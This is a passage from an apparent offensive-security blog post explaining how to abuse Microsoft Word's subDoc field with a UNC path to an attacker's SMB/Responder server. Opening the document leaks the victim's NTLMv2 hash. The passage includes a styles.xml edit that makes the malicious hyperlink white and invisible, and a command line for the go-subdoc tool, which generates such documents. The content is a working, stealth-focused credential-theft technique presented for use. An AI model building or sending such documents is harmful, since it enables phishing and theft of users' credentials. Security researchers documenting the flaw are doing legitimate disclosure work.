&lt;p&gt;As we can see, to embed a subdocument to our master document, we need to provide the file path to the file, often when we can specify an external file path, we can access external &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Server_Message_Block&quot;&gt;SMB&lt;&#x2F;a&gt; shares, that is, if we can depending on how mature the environment we&#x27;re working on is. So then I tried to replace the &lt;code&gt;Target&lt;&#x2F;code&gt; field with an &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;dotnet&#x2F;standard&#x2F;io&#x2F;file-path-formats#unc-paths&quot;&gt;UNC&lt;&#x2F;a&gt; path to an external SMB server. Upon opening the Word document I received a SMB request on my &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;SpiderLabs&#x2F;Responder&quot;&gt;Responder&lt;&#x2F;a&gt; client with the &lt;code&gt;NTLMv2 Client&lt;&#x2F;code&gt; (The victim&#x27;s IP Address), the &lt;code&gt;NTLMv2 Username&lt;&#x2F;code&gt; (The victim&#x27;s HOSTNAME\username) and the victim&#x27;s &lt;code&gt;NTLMv2 Hash&lt;&#x2F;code&gt;, as shown on the screenshot below.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;b.catgirlsare.sexy&#x2F;RGMTdAA4ZBno.png&quot; alt=&quot;responder result&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We managed to successfully steal the victim&#x27;s NTLMv2 hash, however, there&#x27;s one drawback from using this feature, which is that the hyperlink is visible on the Word page as shown in the screenshot below:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;b.catgirlsare.sexy&#x2F;zflrFrUccHuC.png&quot; alt=&quot;visible hyperlink&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So then I started to mess around with the files inside the OOXML package and figured out that the &lt;code&gt;styles.xml&lt;&#x2F;code&gt; file contained all the styles for the Hyperlink, such as its color, font, theme, etc… as shown below:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;word-styles-xml&quot;&gt;word&#x2F;styles.xml&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-styles-xml&quot; aria-label=&quot;Anchor link for: word-styles-xml&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;style&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;character&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;styleId&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;Hyperlink&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;name&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;Hyperlink&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;basedOn&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;DefaultParagraphFont&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;uiPriority&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;99&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;unhideWhenUsed&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;rsid&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;00400B73&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;rPr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;color&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;FFFFFF&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;themeColor&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;background1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;u&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;single&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;rPr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By editing these fields I was able to change the Hyperlink color from the default one to white, so it would disappear on the page, and it did. Easy as that.&lt;&#x2F;p&gt;
&lt;p&gt;Now you have a completely stealthy and hidden NTLMv2 hash stealer.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;using-go-subdoc-to-automate-the-whole-process&quot;&gt;Using go-subdoc to automate the whole process&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-go-subdoc-to-automate-the-whole-process&quot; aria-label=&quot;Anchor link for: using-go-subdoc-to-automate-the-whole-process&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Given how manual the whole process to craft a malicious Word document with subDoc is, I decided to write a PoC tool to automate the whole process in Go, it&#x27;s called go-subdoc and you can find it on its GitHub repository: https:&#x2F;&#x2F;github.com&#x2F;offsec-org&#x2F;go-subdoc.&lt;&#x2F;p&gt;
&lt;p&gt;To use it is pretty simple, simply download one of the releases or install it to your GOPATH and provide the input file and target domain&#x2F;ip address of the Responder or SMB share, as shown on the &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;offsec-org&#x2F;go-subdoc#usage&quot;&gt;README&lt;&#x2F;a&gt; for example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; go-subdoc&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; -&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;input&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; target.docx&#x2F;docm&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt; -&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant&quot;&gt;target&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; example.com&#x2F;127.0.0.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It will generate a new malicious payload with the _injected name at the end.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Upon reviewing the Microsoft Word specifications, I found a field called subDoc that can be used to embed a document inside another, by providing it a file path, I managed to change that file path to an external SMB share and managed to steal the victim&#x27;s NTLMv2 hash in a stealthy and hidden way.&lt;&#x2F;p&gt;
</content>
	</entry>
</feed>
